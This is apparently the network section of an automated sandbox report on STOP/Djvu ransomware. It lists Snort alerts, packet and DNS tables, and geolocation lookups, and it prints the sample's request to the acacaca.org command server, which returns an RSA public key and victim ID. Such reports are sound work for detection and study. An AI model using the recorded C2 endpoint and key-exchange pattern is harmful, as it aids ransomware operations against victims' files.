GetConsoleMode, FlushFileBuffers, CreateFileA, LCMapStringW, GetStringTypeW, HeapReAlloc, SetEndOfFile

USER32.dll

ClientToScreen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Kannada	Kanada
French	Switzerland

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.658.235.189.19249782802833438 08/05/22-11:22:58.893846	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49782	80	192.168.2.6	58.235.189.192
58.235.189.192192.168.2.680497822036335 08/05/22-11:22:59.718335	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49782	58.235.189.192	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 11:22:24.789663076 CEST	49766	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:24.789700985 CEST	443	49766	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:24.789793968 CEST	49766	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:24.810440063 CEST	49766	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:24.810472012 CEST	443	49766	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:24.881397963 CEST	443	49766	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:24.881567001 CEST	49766	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:25.215430021 CEST	49766	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:25.215456009 CEST	443	49766	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:25.215862989 CEST	443	49766	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:25.215915918 CEST	49766	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:25.218583107 CEST	49766	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:25.256067991 CEST	443	49766	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:25.256150007 CEST	443	49766	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:25.256160021 CEST	49766	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:25.256205082 CEST	49766	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:25.294338942 CEST	49766	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:25.294367075 CEST	443	49766	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:40.059195995 CEST	49767	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:40.059235096 CEST	443	49767	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:40.059319019 CEST	49767	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:40.072351933 CEST	49767	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:40.072374105 CEST	443	49767	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:40.130428076 CEST	443	49767	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:40.130525112 CEST	49767	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:40.157011032 CEST	49767	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:40.157057047 CEST	443	49767	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:40.157977104 CEST	443	49767	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:40.158041954 CEST	49767	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:40.172683954 CEST	49767	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:40.208256006 CEST	443	49767	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:40.208374977 CEST	443	49767	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:40.208456039 CEST	49767	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:40.208482027 CEST	49767	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:40.234972000 CEST	49767	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:40.235018969 CEST	443	49767	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:51.177596092 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.177664995 CEST	443	49768	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:51.177802086 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.370039940 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.370089054 CEST	443	49768	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:51.431323051 CEST	443	49768	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:51.431483984 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.475049019 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.475132942 CEST	443	49768	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:51.475707054 CEST	443	49768	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:51.475769043 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.478137016 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.514411926 CEST	443	49768	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:51.514501095 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.514533997 CEST	443	49768	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:51.514559984 CEST	443	49768	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:51.514595032 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.514609098 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.571310997 CEST	49768	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:51.571379900 CEST	443	49768	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:57.051544905 CEST	49780	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.051599979 CEST	443	49780	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:57.051711082 CEST	49780	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.082473993 CEST	49780	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.082509041 CEST	443	49780	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:57.146112919 CEST	443	49780	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:57.146187067 CEST	49780	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.155904055 CEST	49780	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.155931950 CEST	443	49780	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:57.156208992 CEST	443	49780	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:57.158427954 CEST	49780	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.169518948 CEST	49780	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.209821939 CEST	443	49780	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:57.209902048 CEST	443	49780	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:57.209938049 CEST	49780	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.209965944 CEST	49780	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.210902929 CEST	49780	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.210927963 CEST	443	49780	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:57.968879938 CEST	49781	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.968966961 CEST	443	49781	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:57.969082117 CEST	49781	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.998213053 CEST	49781	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:57.998248100 CEST	443	49781	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:58.056582928 CEST	443	49781	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:58.056663036 CEST	49781	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:58.066802025 CEST	49781	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:58.066828966 CEST	443	49781	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:58.067101002 CEST	443	49781	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:58.067362070 CEST	49781	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:58.085259914 CEST	49781	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:58.123703957 CEST	443	49781	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:58.123825073 CEST	443	49781	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:58.123934984 CEST	49781	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:58.124691010 CEST	49781	443	192.168.2.6	162.0.217.254
Aug 5, 2022 11:22:58.124718904 CEST	443	49781	162.0.217.254	192.168.2.6
Aug 5, 2022 11:22:58.595031977 CEST	49782	80	192.168.2.6	58.235.189.192
Aug 5, 2022 11:22:58.893264055 CEST	80	49782	58.235.189.192	192.168.2.6
Aug 5, 2022 11:22:58.893389940 CEST	49782	80	192.168.2.6	58.235.189.192
Aug 5, 2022 11:22:58.893846035 CEST	49782	80	192.168.2.6	58.235.189.192
Aug 5, 2022 11:22:59.392359972 CEST	80	49782	58.235.189.192	192.168.2.6
Aug 5, 2022 11:22:59.718334913 CEST	80	49782	58.235.189.192	192.168.2.6
Aug 5, 2022 11:22:59.718427896 CEST	80	49782	58.235.189.192	192.168.2.6
Aug 5, 2022 11:22:59.718431950 CEST	49782	80	192.168.2.6	58.235.189.192
Aug 5, 2022 11:22:59.718482018 CEST	49782	80	192.168.2.6	58.235.189.192

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 11:22:24.625781059 CEST	58723	53	192.168.2.6	8.8.8.8
Aug 5, 2022 11:22:24.648847103 CEST	53	58723	8.8.8.8	192.168.2.6
Aug 5, 2022 11:22:40.024580002 CEST	51971	53	192.168.2.6	8.8.8.8
Aug 5, 2022 11:22:40.047831059 CEST	53	51971	8.8.8.8	192.168.2.6
Aug 5, 2022 11:22:49.905822039 CEST	56591	53	192.168.2.6	8.8.8.8
Aug 5, 2022 11:22:49.928405046 CEST	53	56591	8.8.8.8	192.168.2.6
Aug 5, 2022 11:22:57.003020048 CEST	61607	53	192.168.2.6	8.8.8.8
Aug 5, 2022 11:22:57.026122093 CEST	53	61607	8.8.8.8	192.168.2.6
Aug 5, 2022 11:22:57.935260057 CEST	56550	53	192.168.2.6	8.8.8.8
Aug 5, 2022 11:22:57.954525948 CEST	53	56550	8.8.8.8	192.168.2.6
Aug 5, 2022 11:22:58.320210934 CEST	52858	53	192.168.2.6	8.8.8.8
Aug 5, 2022 11:22:58.592458963 CEST	53	52858	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 5, 2022 11:22:24.625781059 CEST	192.168.2.6	8.8.8.8	0x8137	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:40.024580002 CEST	192.168.2.6	8.8.8.8	0x6c68	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:49.905822039 CEST	192.168.2.6	8.8.8.8	0xdc30	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:57.003020048 CEST	192.168.2.6	8.8.8.8	0xc534	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:57.935260057 CEST	192.168.2.6	8.8.8.8	0xc62c	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.320210934 CEST	192.168.2.6	8.8.8.8	0x156b	Standard query (0)	acacaca.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Aug 5, 2022 11:22:24.648847103 CEST	8.8.8.8	192.168.2.6	0x8137	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:40.047831059 CEST	8.8.8.8	192.168.2.6	0x6c68	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:49.928405046 CEST	8.8.8.8	192.168.2.6	0xdc30	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:57.026122093 CEST	8.8.8.8	192.168.2.6	0xc534	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:57.954525948 CEST	8.8.8.8	192.168.2.6	0xc62c	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.592458963 CEST	8.8.8.8	192.168.2.6	0x156b	No error (0)	acacaca.org	58.235.189.192	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.592458963 CEST	8.8.8.8	192.168.2.6	0x156b	No error (0)	acacaca.org	138.36.3.134	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.592458963 CEST	8.8.8.8	192.168.2.6	0x156b	No error (0)	acacaca.org	190.107.133.19	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.592458963 CEST	8.8.8.8	192.168.2.6	0x156b	No error (0)	acacaca.org	190.140.74.43	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.592458963 CEST	8.8.8.8	192.168.2.6	0x156b	No error (0)	acacaca.org	190.219.54.242	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.592458963 CEST	8.8.8.8	192.168.2.6	0x156b	No error (0)	acacaca.org	211.119.84.111	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.592458963 CEST	8.8.8.8	192.168.2.6	0x156b	No error (0)	acacaca.org	222.236.49.123	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.592458963 CEST	8.8.8.8	192.168.2.6	0x156b	No error (0)	acacaca.org	190.140.99.150	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.592458963 CEST	8.8.8.8	192.168.2.6	0x156b	No error (0)	acacaca.org	211.53.230.67	A (IP address)	IN (0x0001)
Aug 5, 2022 11:22:58.592458963 CEST	8.8.8.8	192.168.2.6	0x156b	No error (0)	acacaca.org	110.14.121.125	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

api.2ip.ua

acacaca.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49766	162.0.217.254	443	C:\Users\user\Desktop\bE5aaTiJM0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49767	162.0.217.254	443	C:\Users\user\Desktop\bE5aaTiJM0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49768	162.0.217.254	443	C:\Users\user\Desktop\bE5aaTiJM0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49780	162.0.217.254	443	C:\Users\user\Desktop\bE5aaTiJM0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49781	162.0.217.254	443	C:\Users\user\Desktop\bE5aaTiJM0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49782	58.235.189.192	80	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe

Timestamp	kBytes transferred	Direction	Data
Aug 5, 2022 11:22:58.893846035 CEST	1226	OUT	GET /test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: acacaca.org
Aug 5, 2022 11:22:59.718334913 CEST	1227	IN	HTTP/1.1 200 OK Date: Fri, 05 Aug 2022 09:22:59 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 561 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 30 57 77 59 37 39 49 46 5a 48 5a 72 52 54 58 2b 76 4d 33 59 5c 5c 6e 38 76 4c 47 35 46 6e 78 30 34 52 64 52 6b 64 50 7a 66 6c 55 70 65 49 70 2b 51 63 69 42 4b 33 45 2b 39 56 54 71 57 52 4e 59 67 58 37 5a 58 7a 31 7a 51 31 61 38 52 59 79 5a 53 35 37 66 2b 47 37 5c 5c 6e 6f 35 6f 75 33 33 64 51 70 54 78 6a 78 61 6f 6b 56 4b 4d 78 53 47 44 52 37 47 37 74 32 46 2b 50 6a 57 47 74 63 48 57 66 75 5c 2f 51 45 6b 47 48 73 6e 63 4e 68 65 45 41 6b 79 36 7a 4c 69 6b 32 6f 5c 5c 6e 4d 31 6c 59 69 33 33 4c 55 45 38 61 41 4c 41 54 4f 63 64 59 42 35 51 68 4c 4a 64 31 53 63 73 4a 33 63 34 5c 2f 75 59 72 34 45 70 61 4d 53 6b 49 69 79 69 5c 2f 50 53 79 45 78 59 63 4b 75 42 39 63 47 5c 5c 6e 63 63 2b 38 49 50 51 76 33 44 5c 2f 4f 6a 42 48 70 72 41 56 4a 7a 31 69 2b 68 50 7a 6e 32 34 6d 61 51 37 37 72 36 30 6e 34 39 79 5c 2f 53 33 6b 50 68 35 38 55 37 42 52 47 61 71 77 6f 43 6a 2b 54 5a 5c 5c 6e 76 56 6c 2b 75 7a 62 2b 2b 69 6f 33 62 45 64 4c 2b 79 6e 4e 4f 50 50 7a 2b 5c 2f 46 4b 76 53 57 7a 4e 55 52 2b 75 52 2b 6a 51 72 4a 33 36 64 68 73 71 6e 54 73 74 6f 5c 2f 52 45 4c 4f 34 52 6a 35 68 5c 5c 6e 4b 51 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 30 6b 50 36 76 4f 6f 45 64 42 6d 39 70 32 49 54 48 53 33 70 70 67 38 35 69 52 42 52 4b 6e 45 64 74 71 66 4e 66 70 50 41 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0WwY79IFZHZrRTX+vM3Y\\n8vLG5Fnx04RdRkdPzflUpeIp+QciBK3E+9VTqWRNYgX7ZXz1zQ1a8RYyZS57f+G7\\no5ou33dQpTxjxaokVKMxSGDR7G7t2F+PjWGtcHWfu\/QEkGHsncNheEAky6zLik2o\\nM1lYi33LUE8aALATOcdYB5QhLJd1ScsJ3c4\/uYr4EpaMSkIiyi\/PSyExYcKuB9cG\\ncc+8IPQv3D\/OjBHprAVJz1i+hPzn24maQ77r60n49y\/S3kPh58U7BRGaqwoCj+TZ\\nvVl+uzb++io3bEdL+ynNOPPz+\/FKvSWzNUR+uR+jQrJ36dhsqnTsto\/RELO4Rj5h\\nKQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"0kP6vOoEdBm9p2ITHS3ppg85iRBRKnEdtqfNfpPA"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49766	162.0.217.254	443	C:\Users\user\Desktop\bE5aaTiJM0.exe

Timestamp	Direction	Data
2022-08-05 09:22:25 UTC	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2022-08-05 09:22:25 UTC	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 05 Aug 2022 09:22:25 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2022-08-05 09:22:25 UTC	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49767	162.0.217.254	443	C:\Users\user\Desktop\bE5aaTiJM0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 09:22:40 UTC	1	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2022-08-05 09:22:40 UTC	1	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 05 Aug 2022 09:22:40 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2022-08-05 09:22:40 UTC	1	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49768	162.0.217.254	443	C:\Users\user\Desktop\bE5aaTiJM0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 09:22:51 UTC	2	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2022-08-05 09:22:51 UTC	2	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 05 Aug 2022 09:22:51 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2022-08-05 09:22:51 UTC	2	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49780	162.0.217.254	443	C:\Users\user\Desktop\bE5aaTiJM0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 09:22:57 UTC	3	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2022-08-05 09:22:57 UTC	3	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 05 Aug 2022 09:22:57 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2022-08-05 09:22:57 UTC	4	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49781	162.0.217.254	443	C:\Users\user\Desktop\bE5aaTiJM0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 09:22:58 UTC	4	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
